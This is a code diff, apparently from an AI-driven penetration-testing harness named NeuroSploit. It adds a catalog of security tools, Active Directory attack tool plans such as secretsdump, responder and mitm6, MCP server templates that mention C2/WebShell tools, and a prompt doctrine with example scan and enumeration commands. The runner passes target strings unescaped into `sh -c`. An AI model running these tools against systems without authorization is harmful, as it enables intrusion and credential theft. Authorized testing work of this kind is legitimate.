ran += 1;
|
||||
let _ = tx.send(format!(
|
||||
"🧰 {} → exit {}{} ({} ms)",
|
||||
run.name, run.code,
|
||||
if run.timed_out { " · TIMED OUT" } else { "" },
|
||||
run.duration_ms
|
||||
)).await;
|
||||
block.push_str(&format!(
|
||||
"\n### {} [{}] `{}` → exit {}{}\n",
|
||||
run.name, run.tool, run.command, run.code,
|
||||
if run.timed_out { " (timed out)" } else { "" }
|
||||
));
|
||||
let out = if run.stdout.trim().is_empty() { &run.stderr } else { &run.stdout };
|
||||
let capped: String = out.chars().take(7000).collect();
|
||||
block.push_str(&capped);
|
||||
block.push('\n');
|
||||
}
|
||||
Err(e) => {
|
||||
let _ = tx.send(format!("🧰 {tool} not run: {e}")).await;
|
||||
block.push_str(&format!("\n### {tool} → NOT RUN: {e}\n"));
|
||||
}
|
||||
}
|
||||
}
|
||||
if ran == 0 {
|
||||
return String::new();
|
||||
}
|
||||
let _ = tx.send(format!("🧰 toolbox: {} real tool run(s) added to recon facts", ran)).await;
|
||||
block
|
||||
}
|
||||
|
||||
async fn enumerate_subdomains(cfg: &RunConfig, tx: &Sender<String>) -> String {
|
||||
// Which apex(es) are authorized domain-wide?
|
||||
let apexes: Vec<String> = cfg.scope.hard.iter().filter_map(|p| {
|
||||
|
||||
@@ -117,6 +117,12 @@ pub async fn run_reactive(
|
||||
"mobile-ios" => crate::mcp_profiles::Profile::MobileIos,
|
||||
"binary" => crate::mcp_profiles::Profile::BinaryAnalysis,
|
||||
"burp" => crate::mcp_profiles::Profile::BurpSuite,
|
||||
"infra" | "host" => crate::mcp_profiles::Profile::Infra,
|
||||
"ad" | "internal" => crate::mcp_profiles::Profile::Ad,
|
||||
"cloud" => crate::mcp_profiles::Profile::Cloud,
|
||||
"kali" => crate::mcp_profiles::Profile::Kali,
|
||||
"nmap" => crate::mcp_profiles::Profile::Nmap,
|
||||
"full" => crate::mcp_profiles::Profile::Full,
|
||||
other => crate::mcp_profiles::Profile::Custom(other.to_string()),
|
||||
};
|
||||
let ctx = crate::mcp_profiles::prompt_context(&profile);
|
||||
|
||||
@@ -0,0 +1,186 @@
|
||||
//! The curated toolbox catalog.
|
||||
//!
|
||||
//! The catalog is data (`tools/toolbox.json`) embedded at compile time so a
|
||||
//! distributed binary always carries it, while operators can extend it without
|
||||
//! touching Rust. Every entry is a *capability descriptor*, not an installed
|
||||
//! tool: the runner detects, optionally provisions, and executes it under the
|
||||
//! engagement's scope/constraints.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::BTreeMap;
|
||||
use std::sync::OnceLock;
|
||||
|
||||
const CATALOG_JSON: &str = include_str!("../../../../tools/toolbox.json");
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ToolSpec {
|
||||
pub id: String,
|
||||
pub name: String,
|
||||
pub binary: String,
|
||||
pub category: String,
|
||||
pub description: String,
|
||||
/// Template command. `{target}`, `{host}` and `{url}` are substituted.
|
||||
pub usage: String,
|
||||
#[serde(default)]
|
||||
pub tags: Vec<String>,
|
||||
/// Actively probes the target (scanners/fuzzers/brute force).
|
||||
#[serde(default)]
|
||||
pub intrusive: bool,
|
||||
/// Needs root/CAP_NET_RAW (SYN scans, sniffers, ARP, ...).
|
||||
#[serde(default)]
|
||||
pub requires_root: bool,
|
||||
/// Installer → package. Supported: apt, pipx, go, cargo, npm, gem, docker.
|
||||
#[serde(default)]
|
||||
pub install: BTreeMap<String, String>,
|
||||
/// Optional MCP server hint (name in the MCP catalog).
|
||||
#[serde(default)]
|
||||
pub mcp: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ToolCatalog {
|
||||
pub version: u32,
|
||||
pub updated: String,
|
||||
pub tools: Vec<ToolSpec>,
|
||||
}
|
||||
|
||||
static CATALOG: OnceLock<ToolCatalog> = OnceLock::new();
|
||||
|
||||
pub fn catalog() -> &'static ToolCatalog {
|
||||
CATALOG.get_or_init(|| {
|
||||
serde_json::from_str(CATALOG_JSON).unwrap_or_else(|e| {
|
||||
eprintln!("[toolbox] invalid embedded toolbox.json: {e}");
|
||||
ToolCatalog { version: 1, updated: String::new(), tools: Vec::new() }
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
pub fn all() -> &'static [ToolSpec] {
|
||||
&catalog().tools
|
||||
}
|
||||
|
||||
pub fn find(id: &str) -> Option<&'static ToolSpec> {
|
||||
let needle = id.trim().to_ascii_lowercase();
|
||||
all().iter().find(|t| {
|
||||
t.id.eq_ignore_ascii_case(&needle)
|
||||
|| t.binary.eq_ignore_ascii_case(&needle)
|
||||
|| t.name.eq_ignore_ascii_case(&needle)
|
||||
})
|
||||
}
|
||||
|
||||
pub fn search(query: &str) -> Vec<&'static ToolSpec> {
|
||||
let q = query.trim().to_ascii_lowercase();
|
||||
if q.is_empty() {
|
||||
return all().iter().collect();
|
||||
}
|
||||
all()
|
||||
.iter()
|
||||
.filter(|t| {
|
||||
t.id.to_ascii_lowercase().contains(&q)
|
||||
|| t.name.to_ascii_lowercase().contains(&q)
|
||||
|| t.binary.to_ascii_lowercase().contains(&q)
|
||||
|| t.category.to_ascii_lowercase().contains(&q)
|
||||
|| t.description.to_ascii_lowercase().contains(&q)
|
||||
|| t.tags.iter().any(|x| x.to_ascii_lowercase().contains(&q))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub fn categories() -> Vec<(String, usize)> {
|
||||
let mut out: BTreeMap<String, usize> = BTreeMap::new();
|
||||
for t in all() {
|
||||
*out.entry(t.category.clone()).or_insert(0) += 1;
|
||||
}
|
||||
out.into_iter().collect()
|
||||
}
|
||||
|
||||
/// Recommended tool IDs for an engagement mode. Missing tools are fine — the
|
||||
/// caller runs what is available (and optionally provisions).
|
||||
pub fn mode_plan(mode: &str) -> Vec<&'static str> {
|
||||
match mode.to_ascii_lowercase().as_str() {
|
||||
"run" | "web" | "greybox" | "whitebox" => vec![
|
||||
"httpx", "whatweb", "wafw00f", "katana", "gau", "ffuf", "feroxbuster",
|
||||
"nuclei", "nikto", "sqlmap", "dalfox", "jwt_tool", "arjun", "trufflehog",
|
||||
],
|
||||
"host" | "infra" => vec![
|
||||
"rustscan", "nmap", "naabu", "httpx", "enum4linux_ng", "netexec",
|
||||
"smbmap", "ldapsearch", "searchsploit", "responder",
|
||||
],
|
||||
"internal" | "ad" => vec![
|
||||
"netexec", "enum4linux_ng", "bloodhound_python", "kerbrute", "certipy",
|
||||
"impacket_getuserspns", "impacket_getnpusers", "impacket_secretsdump",
|
||||
"ldapdomaindump", "smbclient", "rpcclient", "mitm6", "responder",
|
||||
],
|
||||
"cloud" => vec![
|
||||
"trivy", "prowler", "scoutsuite", "checkov", "kube_bench", "kube_hunter",
|
||||
"cloud_enum", "s3scanner", "cloudsplaining",
|
||||
],
|
||||
"container" => vec!["trivy", "grype", "syft", "dockle", "hadolint", "crane", "skopeo"],
|
||||
"mobile" => vec!["apktool", "jadx", "apkleaks", "frida", "objection", "mobsf"],
|
||||
"binary" => vec![
|
||||
"ghidra_headless", "radare2", "rizin", "binwalk", "checksec", "gdb",
|
||||
"objdump", "strings", "one_gadget", "ropper",
|
||||
],
|
||||
"aitest" | "ai" => vec!["garak", "promptfoo", "pyrit", "llm_guard", "giskard"],
|
||||
_ => vec!["httpx", "nmap", "nuclei", "ffuf", "trufflehog"],
|
||||
}
|
||||
}
|
||||
|
||||
/// Compact, context-budget-friendly catalogue for prompt injection. The model
|
||||
/// sees IDs, categories and one-line descriptions; it calls `tools info` or the
|
||||
/// MCP `tool_info` for full usage.
|
||||
pub fn prompt_summary(max_per_category: usize, max_chars: usize) -> String {
|
||||
let mut out = String::new();
|
||||
for (cat, _) in categories() {
|
||||
let mut n = 0;
|
||||
out.push_str(&format!("[{cat}] "));
|
||||
for t in all().iter().filter(|t| t.category == cat) {
|
||||
if n >= max_per_category { break; }
|
||||
let item = format!("{} ({})", t.id, short(&t.description, 72));
|
||||
if out.len() + item.len() + 2 > max_chars { break; }
|
||||
out.push_str(&item);
|
||||
out.push_str("; ");
|
||||
n += 1;
|
||||
}
|
||||
out.push('\n');
|
||||
if out.len() > max_chars { break; }
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn short(s: &str, n: usize) -> String {
|
||||
let flat = s.split_whitespace().collect::<Vec<_>>().join(" ");
|
||||
if flat.chars().count() <= n { flat } else { flat.chars().take(n.saturating_sub(1)).collect::<String>() + "…" }
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn catalog_is_large_and_unique() {
|
||||
let tools = all();
|
||||
assert!(tools.len() >= 200, "expected 200+ tools, got {}", tools.len());
|
||||
let mut ids = std::collections::HashSet::new();
|
||||
for t in tools {
|
||||
assert!(ids.insert(t.id.clone()), "duplicate tool id: {}", t.id);
|
||||
assert!(!t.binary.trim().is_empty(), "{} has no binary", t.id);
|
||||
assert!(!t.category.trim().is_empty(), "{} has no category", t.id);
|
||||
assert!(!t.usage.trim().is_empty(), "{} has no usage", t.id);
|
||||
}
|
||||
assert!(find("nmap").is_some());
|
||||
assert!(find("rustscan").is_some());
|
||||
assert!(find("netexec").is_some());
|
||||
assert!(find("trivy").is_some());
|
||||
assert!(find("apktool").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn search_and_plans_work() {
|
||||
assert!(search("port-scan").iter().any(|t| t.id == "nmap"));
|
||||
assert!(search("kerberos").iter().any(|t| t.id == "kerbrute"));
|
||||
assert!(mode_plan("ad").contains(&"netexec"));
|
||||
assert!(mode_plan("web").contains(&"nuclei"));
|
||||
assert!(!prompt_summary(3, 4000).is_empty());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,254 @@
|
||||
//! Curated MCP tool-server catalog.
|
||||
//!
|
||||
//! These are *templates* for common security MCP servers. They are merged into
|
||||
//! the agent's `.mcp.json` only when the operator selects them (`--mcp` plus
|
||||
//! `--mcp-server`, or `neurosploit tools mcp add`), so a normal run is
|
||||
//! unchanged. Custom servers remain possible through `mcp.servers.json`.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::{json, Value};
|
||||
use std::collections::BTreeMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct McpServerSpec {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
/// `stdio` (default) or `http`.
|
||||
#[serde(default = "stdio")]
|
||||
pub transport: String,
|
||||
#[serde(default)]
|
||||
pub command: String,
|
||||
#[serde(default)]
|
||||
pub args: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub env: BTreeMap<String, String>,
|
||||
#[serde(default)]
|
||||
pub url: String,
|
||||
/// Installer → package, same keys as the toolbox catalog.
|
||||
#[serde(default)]
|
||||
pub install: BTreeMap<String, String>,
|
||||
#[serde(default)]
|
||||
pub notes: String,
|
||||
}
|
||||
|
||||
fn stdio() -> String {
|
||||
"stdio".into()
|
||||
}
|
||||
|
||||
impl McpServerSpec {
|
||||
pub fn config(&self) -> Value {
|
||||
if self.transport == "http" {
|
||||
let mut v = json!({ "url": self.url, "transport": "http" });
|
||||
if !self.env.is_empty() {
|
||||
v["headers"] = json!(self.env);
|
||||
}
|
||||
return v;
|
||||
}
|
||||
let mut v = json!({ "command": self.command, "args": self.args });
|
||||
if !self.env.is_empty() {
|
||||
v["env"] = json!(self.env);
|
||||
}
|
||||
v
|
||||
}
|
||||
}
|
||||
|
||||
pub fn all() -> Vec<McpServerSpec> {
|
||||
vec![
|
||||
McpServerSpec {
|
||||
name: "nmap".into(),
|
||||
description: "Nmap MCP server (gc-nmap-mcp): scan profiles, service detection, NSE.".into(),
|
||||
transport: "stdio".into(),
|
||||
command: "npx".into(),
|
||||
args: vec!["-y".into(), "gc-nmap-mcp".into()],
|
||||
env: BTreeMap::from([("NMAP_PATH".into(), nmap_path())]),
|
||||
url: String::new(),
|
||||
install: BTreeMap::from([("npm".into(), "gc-nmap-mcp".into())]),
|
||||
notes: "Requires Node 18+ and nmap on PATH. Alternative: mcp-nmap-server (Windows).".into(),
|
||||
},
|
||||
McpServerSpec {
|
||||
name: "kali".into(),
|
||||
description: "Kali Linux MCP server (kali-mcp): 80+ Kali tools over stdio/HTTP.".into(),
|
||||
transport: "stdio".into(),
|
||||
command: "kali-mcp".into(),
|
||||
args: vec![],
|
||||
env: BTreeMap::new(),
|
||||
url: String::new(),
|
||||
install: BTreeMap::from([("pipx".into(), "kali-mcp".into())]),
|
||||
notes: "Install with `pipx install kali-mcp`, or use the official Docker image. The Python package does not install the underlying Kali binaries.".into(),
|
||||
},
|
||||
McpServerSpec {
|
||||
name: "playwright".into(),
|
||||
description: "Playwright MCP: drive a real browser for JS-heavy targets.".into(),
|
||||
transport: "stdio".into(),
|
||||
command: "npx".into(),
|
||||
args: vec![
|
||||
"-y".into(),
|
||||
"@playwright/mcp@latest".into(),
|
||||
"--headless".into(),
|
||||
"--isolated".into(),
|
||||
],
|
||||
env: BTreeMap::new(),
|
||||
url: String::new(),
|
||||
install: BTreeMap::from([("npm".into(), "@playwright/mcp".into())]),
|
||||
notes: "Run `npx playwright install chromium` once.".into(),
|
||||
},
|
||||
McpServerSpec {
|
||||
name: "burp".into(),
|
||||
description: "Burp Suite MCP / REST bridge for scanner and proxy history.".into(),
|
||||
transport: "http".into(),
|
||||
command: String::new(),
|
||||
args: vec![],
|
||||
env: BTreeMap::new(),
|
||||
url: "http://127.0.0.1:1337/v0.1".into(),
|
||||
install: BTreeMap::new(),
|
||||
notes: "Enable the Burp MCP/REST extension and adjust the URL/key in mcp.servers.json.".into(),
|
||||
},
|
||||
McpServerSpec {
|
||||
name: "rea".into(),
|
||||
description: "REA MCP: reverse engineering for mobile and native binaries.".into(),
|
||||
transport: "stdio".into(),
|
||||
command: "rea".into(),
|
||||
args: vec!["--mode".into(), "binary".into()],
|
||||
env: BTreeMap::new(),
|
||||
url: String::new(),
|
||||
install: BTreeMap::new(),
|
||||
notes: "Use --mode android / ios / binary in mcp.servers.json.".into(),
|
||||
},
|
||||
McpServerSpec {
|
||||
name: "neurosploit".into(),
|
||||
description: "NeuroSploit's own MCP tools (runs, findings, graphs, C2, toolbox).".into(),
|
||||
transport: "stdio".into(),
|
||||
command: std::env::current_exe()
|
||||
.ok()
|
||||
.and_then(|p| p.to_str().map(|s| s.to_string()))
|
||||
.unwrap_or_else(|| "neurosploit".into()),
|
||||
args: vec!["mcp".into()],
|
||||
env: BTreeMap::new(),
|
||||
url: String::new(),
|
||||
install: BTreeMap::new(),
|
||||
notes: "Exposes C2/WebShell and toolbox tools to any MCP client.".into(),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
fn nmap_path() -> String {
|
||||
for p in ["/usr/bin/nmap", "/usr/local/bin/nmap", "/opt/homebrew/bin/nmap"] {
|
||||
if Path::new(p).is_file() {
|
||||
return p.to_string();
|
||||
}
|
||||
}
|
||||
"nmap".into()
|
||||
}
|
||||
|
||||
pub fn find(name: &str) -> Option<McpServerSpec> {
|
||||
all()
|
||||
.into_iter()
|
||||
.find(|s| s.name.eq_ignore_ascii_case(name.trim()))
|
||||
}
|
||||
|
||||
/// Names selected by `NEUROSPLOIT_MCP_SERVERS` (comma/space separated).
|
||||
pub fn selected_from_env() -> Vec<McpServerSpec> {
|
||||
let raw = std::env::var("NEUROSPLOIT_MCP_SERVERS").unwrap_or_default();
|
||||
let mut out = Vec::new();
|
||||
for name in raw.split([',', ';', ' ']).map(|s| s.trim()).filter(|s| !s.is_empty()) {
|
||||
if let Some(spec) = find(name) {
|
||||
if !out.iter().any(|s: &McpServerSpec| s.name == spec.name) {
|
||||
out.push(spec);
|
||||
}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Merge the selected catalog servers into an `mcpServers` object.
|
||||
pub fn merge_selected(servers: &mut serde_json::Map<String, Value>) {
|
||||
for spec in selected_from_env() {
|
||||
servers.insert(spec.name.clone(), spec.config());
|
||||
}
|
||||
}
|
||||
|
||||
pub fn servers_path(base: &Path) -> PathBuf {
|
||||
base.join("mcp.servers.json")
|
||||
}
|
||||
|
||||
/// Add/update a catalog server in `mcp.servers.json` (the file the harness
|
||||
/// merges into `.mcp.json` for every run in this checkout).
|
||||
pub fn add_to_file(base: &Path, name: &str) -> Result<PathBuf, String> {
|
||||
let spec = find(name).ok_or_else(|| format!("unknown MCP server '{name}' (try `neurosploit tools mcp list`)"))?;
|
||||
let path = servers_path(base);
|
||||
let mut root = if path.exists() {
|
||||
serde_json::from_str::<Value>(&std::fs::read_to_string(&path).map_err(|e| e.to_string())?)
|
||||
.unwrap_or_else(|_| json!({}))
|
||||
} else {
|
||||
json!({})
|
||||
};
|
||||
if !root.is_object() {
|
||||
root = json!({});
|
||||
}
|
||||
let dst = root.as_object_mut().unwrap();
|
||||
// Accept both flat and {"mcpServers": {...}} files.
|
||||
let servers = if let Some(existing) = dst.get_mut("mcpServers").and_then(|v| v.as_object_mut()) {
|
||||
existing
|
||||
} else {
|
||||
dst
|
||||
};
|
||||
servers.insert(spec.name.clone(), spec.config());
|
||||
if let Some(parent) = path.parent() {
|
||||
std::fs::create_dir_all(parent).map_err(|e| e.to_string())?;
|
||||
}
|
||||
std::fs::write(&path, serde_json::to_string_pretty(&root).unwrap_or_default())
|
||||
.map_err(|e| e.to_string())?;
|
||||
Ok(path)
|
||||
}
|
||||
|
||||
pub fn remove_from_file(base: &Path, name: &str) -> Result<bool, String> {
|
||||
let path = servers_path(base);
|
||||
if !path.exists() {
|
||||
return Ok(false);
|
||||
}
|
||||
let mut root = serde_json::from_str::<Value>(&std::fs::read_to_string(&path).map_err(|e| e.to_string())?)
|
||||
.map_err(|e| e.to_string())?;
|
||||
let removed = if let Some(servers) = root.get_mut("mcpServers").and_then(|v| v.as_object_mut()) {
|
||||
servers.remove(name).is_some()
|
||||
} else {
|
||||
root.as_object_mut().map(|o| o.remove(name).is_some()).unwrap_or(false)
|
||||
};
|
||||
if removed {
|
||||
std::fs::write(&path, serde_json::to_string_pretty(&root).unwrap_or_default())
|
||||
.map_err(|e| e.to_string())?;
|
||||
}
|
||||
Ok(removed)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn catalog_has_nmap_and_kali() {
|
||||
assert!(find("nmap").is_some());
|
||||
assert!(find("kali").is_some());
|
||||
let nmap = find("nmap").unwrap().config();
|
||||
assert_eq!(nmap["command"], "npx");
|
||||
assert!(nmap["args"].as_array().unwrap().iter().any(|v| v == "gc-nmap-mcp"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn add_and_remove_server_file() {
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"ns_mcp_catalog_{}_{:x}",
|
||||
std::process::id(),
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_nanos()
|
||||
));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
add_to_file(&dir, "nmap").unwrap();
|
||||
let text = std::fs::read_to_string(servers_path(&dir)).unwrap();
|
||||
assert!(text.contains("gc-nmap-mcp"));
|
||||
assert!(remove_from_file(&dir, "nmap").unwrap());
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
//! Toolbox: run real security tools, not only curl/scripts.
|
||||
//!
|
||||
//! The toolbox is an add-on layer over the harness:
|
||||
//! * a 200+ entry catalog (`tools/toolbox.json`, embedded) of web, network,
|
||||
//! Active Directory, cloud, container, mobile, binary, forensics and AI
|
||||
//! tooling;
|
||||
//! * a scope/constraint-aware runner (host or Kali sandbox) with optional,
|
||||
//! explicit provisioning;
|
||||
//! * MCP server templates (nmap, Kali, Playwright, Burp, REA, NeuroSploit);
|
||||
//! * CLI/MCP/web surfaces plus an opt-in agent tool loop.
|
||||
//!
|
||||
//! Nothing runs unless the operator or an explicitly enabled agent asks for it.
|
||||
//! Existing recon/exploit behaviour is unchanged when the feature is not used.
|
||||
|
||||
pub mod catalog;
|
||||
pub mod mcp_catalog;
|
||||
pub mod runner;
|
||||
|
||||
pub use catalog::{all, categories, find, mode_plan, prompt_summary, search, ToolSpec};
|
||||
pub use mcp_catalog::{McpServerSpec, add_to_file, remove_from_file, servers_path};
|
||||
pub use runner::{check, install, run, ToolCheck, ToolRun, ToolRunConfig};
|
||||
|
||||
/// Prompt doctrine injected when `--tools` / agent tools are enabled.
|
||||
pub fn doctrine() -> String {
|
||||
format!(
|
||||
"TOOLBOX (authorized; {} real tools are available through NeuroSploit, not only curl):\n\
|
||||
- Discover: `neurosploit tools search <term> --json`; inspect: `neurosploit tools info <id> --json`.\n\
|
||||
- Check: `neurosploit tools check <id> --json` (installed/version; no scan).\n\
|
||||
- Run: `neurosploit tools run <id> --target <host-or-url> [--args '<flags>'] --json`.\n\
|
||||
- Provision (explicit): `neurosploit tools install <id> --json`; or add `--provision` to run.\n\
|
||||
- Sandbox: add `--sandbox` (Kali container) when you do not want host tooling.\n\
|
||||
- MCP servers: `neurosploit tools mcp list`; add nmap/kali/playwright with `tools mcp add <name>`.\n\
|
||||
- Key examples: `tools run rustscan --target 10.0.0.5`; `tools run nmap --target 10.0.0.5 --args '-sV -p 22,80,443'`;\n\
|
||||
`tools run httpx --target https://app`; `tools run nuclei --target https://app --args '-severity critical,high -silent'`;\n\
|
||||
`tools run ffuf --target https://app --args '-u https://app/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt'`;\n\
|
||||
`tools run netexec --target 10.0.0.10 --args 'smb 10.0.0.10 --shares'`;\n\
|
||||
`tools run bloodhound_python --target dc.corp.local --args '-d corp.local -u user -p pass -c All'`.\n\
|
||||
Rules: stay in scope; never run destructive/DoS tools; prefer targeted flags; provision only with explicit opt-in;\n\
|
||||
report the exact command, exit code and output/evidence in findings. On subscription/CLI agents you may also\n\
|
||||
call the same `neurosploit tools` verbs directly; when MCP is enabled use the `neurosploit_tool_*` tools.\n\n"
|
||||
,
|
||||
catalog::all().len()
|
||||
)
|
||||
}
|
||||
|
||||
/// A compact catalog block for the opt-in agent tool loop. Kept small so it does
|
||||
/// not crowd the specialist playbooks.
|
||||
pub fn agent_catalog(mode: &str) -> String {
|
||||
let mut out = String::from("TOOLBOX CATALOG (id — description):\n");
|
||||
let plan = mode_plan(mode);
|
||||
for id in &plan {
|
||||
if let Some(t) = find(id) {
|
||||
out.push_str(&format!("- {} [{}] {} — {}\n", t.id, t.category, t.name, t.description));
|
||||
}
|
||||
}
|
||||
out.push_str("\nOther categories are available via `neurosploit tools search <term>`.\n");
|
||||
out
|
||||
}
|
||||
@@ -0,0 +1,404 @@
|
||||
//! Execution layer for the toolbox.
|
||||
//!
|
||||
//! One place resolves a catalog ID into a command, checks scope and operator
|
||||
//! constraints, detects/provisions the binary, runs it (host or Kali sandbox),
|
||||
//! caps output, records an audit line, and returns structured JSON. The CLI,
|
||||
//! the agent tool loop and the MCP tools all call this — never `sh -c` from a
|
||||
//! prompt directly.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::json;
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};
|
||||
|
||||
use super::catalog::{find, ToolSpec};
|
||||
use crate::constraints::ConstraintSet;
|
||||
use crate::sandbox::{Sandbox, SandboxConfig};
|
||||
use crate::scope::ScopePolicy;
|
||||
|
||||
const OUTPUT_CAP: usize = 256 * 1024;
|
||||
const DEFAULT_TIMEOUT: u64 = 300;
|
||||
const INSTALL_TIMEOUT: u64 = 300;
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct ToolRunConfig {
|
||||
/// Kali/container image. `Some("")` uses the default image.
|
||||
pub sandbox: Option<String>,
|
||||
/// Explicit opt-in: install the tool when missing.
|
||||
pub provision: bool,
|
||||
pub timeout_secs: Option<u64>,
|
||||
/// Directory for `toolbox-audit.jsonl` and run artifacts.
|
||||
pub audit_dir: Option<PathBuf>,
|
||||
/// Engagement scope. `None` means the operator invoked the tool directly.
|
||||
pub scope: Option<ScopePolicy>,
|
||||
pub constraints: ConstraintSet,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ToolRun {
|
||||
pub tool: String,
|
||||
pub name: String,
|
||||
pub category: String,
|
||||
pub command: String,
|
||||
pub target: String,
|
||||
pub installed: bool,
|
||||
pub provisioned: bool,
|
||||
pub code: i32,
|
||||
pub timed_out: bool,
|
||||
pub duration_ms: u128,
|
||||
pub stdout: String,
|
||||
pub stderr: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ToolCheck {
|
||||
pub tool: String,
|
||||
pub name: String,
|
||||
pub binary: String,
|
||||
pub category: String,
|
||||
pub installed: bool,
|
||||
pub version: String,
|
||||
pub install_hint: String,
|
||||
pub intrusive: bool,
|
||||
pub requires_root: bool,
|
||||
}
|
||||
|
||||
pub fn install_hint(spec: &ToolSpec) -> String {
|
||||
if let Some((kind, pkg)) = spec.install.iter().next() {
|
||||
format!("neurosploit tools install {} ({kind}: {pkg})", spec.id)
|
||||
} else {
|
||||
format!("install `{}` manually and put it on PATH", spec.binary)
|
||||
}
|
||||
}
|
||||
|
||||
fn sandbox_for(cfg: &ToolRunConfig) -> Result<Option<Sandbox>, String> {
|
||||
let Some(image) = cfg.sandbox.as_deref() else { return Ok(None) };
|
||||
let mut sc = SandboxConfig::default();
|
||||
if !image.trim().is_empty() {
|
||||
sc = sc.with_image(image);
|
||||
}
|
||||
Sandbox::new(sc).map(Some)
|
||||
}
|
||||
|
||||
async fn host_has(binary: &str) -> bool {
|
||||
tokio::process::Command::new("which")
|
||||
.arg(binary)
|
||||
.output()
|
||||
.await
|
||||
.map(|o| o.status.success())
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
fn installer_command(kind: &str, pkg: &str) -> Option<String> {
|
||||
match kind {
|
||||
"apt" => Some(format!(
|
||||
"DEBIAN_FRONTEND=noninteractive apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq {pkg}"
|
||||
)),
|
||||
"pipx" => Some(format!("pipx install --force {pkg}")),
|
||||
"go" => Some(format!("GOBIN=/usr/local/bin go install {pkg}@latest")),
|
||||
"cargo" => Some(format!("cargo install --locked {pkg}")),
|
||||
"npm" => Some(format!("npm install -g {pkg}")),
|
||||
"gem" => Some(format!("gem install --no-document {pkg}")),
|
||||
"docker" => Some(format!("docker pull {pkg}")),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_shell(command: &str, timeout_secs: u64, sandbox: Option<&Sandbox>) -> Result<(i32, String, String, bool), String> {
|
||||
if let Some(sb) = sandbox {
|
||||
let out = sb.exec(command).await?;
|
||||
return Ok((out.code, out.stdout, out.stderr, out.timed_out));
|
||||
}
|
||||
let fut = tokio::process::Command::new("sh")
|
||||
.arg("-c")
|
||||
.arg(command)
|
||||
.kill_on_drop(true)
|
||||
.output();
|
||||
match tokio::time::timeout(Duration::from_secs(timeout_secs), fut).await {
|
||||
Ok(Ok(out)) => Ok((
|
||||
out.status.code().unwrap_or(-1),
|
||||
String::from_utf8_lossy(&out.stdout).to_string(),
|
||||
String::from_utf8_lossy(&out.stderr).to_string(),
|
||||
false,
|
||||
)),
|
||||
Ok(Err(e)) => Err(format!("spawn failed: {e}")),
|
||||
Err(_) => Ok((124, String::new(), format!("timed out after {timeout_secs}s"), true)),
|
||||
}
|
||||
}
|
||||
|
||||
fn clip(mut s: String) -> String {
|
||||
if s.len() > OUTPUT_CAP {
|
||||
s.truncate(OUTPUT_CAP);
|
||||
s.push_str("\n[truncated by NeuroSploit toolbox]");
|
||||
}
|
||||
s
|
||||
}
|
||||
|
||||
fn substitute(template: &str, target: &str) -> Result<String, String> {
|
||||
let host = if target.trim().is_empty() {
|
||||
String::new()
|
||||
} else {
|
||||
crate::scope::host_of(target)
|
||||
};
|
||||
let needs_target = template.contains("{target}") || template.contains("{host}") || template.contains("{url}");
|
||||
if needs_target && target.trim().is_empty() {
|
||||
return Err("this tool needs a target (use --target or pass concrete args)".into());
|
||||
}
|
||||
let out = template
|
||||
.replace("{target}", target)
|
||||
.replace("{host}", &host)
|
||||
.replace("{url}", target);
|
||||
if out.contains('{') {
|
||||
return Err(format!(
|
||||
"unresolved placeholder in command: {out}\nPass explicit `--args` for templates that need credentials/domains."
|
||||
));
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
fn scope_allows(scope: Option<&ScopePolicy>, target: &str) -> Result<(), String> {
|
||||
let Some(scope) = scope else { return Ok(()) };
|
||||
if scope.hard.is_empty() || target.trim().is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
let probe = if target.contains("://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("https://{}", target.trim())
|
||||
};
|
||||
if !scope.in_hard_scope(&probe) {
|
||||
return Err(format!("target '{target}' is outside the engagement's hard scope"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn audit(cfg: &ToolRunConfig, run: &ToolRun) {
|
||||
let dir = cfg
|
||||
.audit_dir
|
||||
.clone()
|
||||
.or_else(|| std::env::var_os("NEUROSPLOIT_TOOLBOX_DIR").map(PathBuf::from))
|
||||
.unwrap_or_else(|| {
|
||||
std::env::current_dir()
|
||||
.unwrap_or_else(|_| PathBuf::from("."))
|
||||
.join(".neurosploit")
|
||||
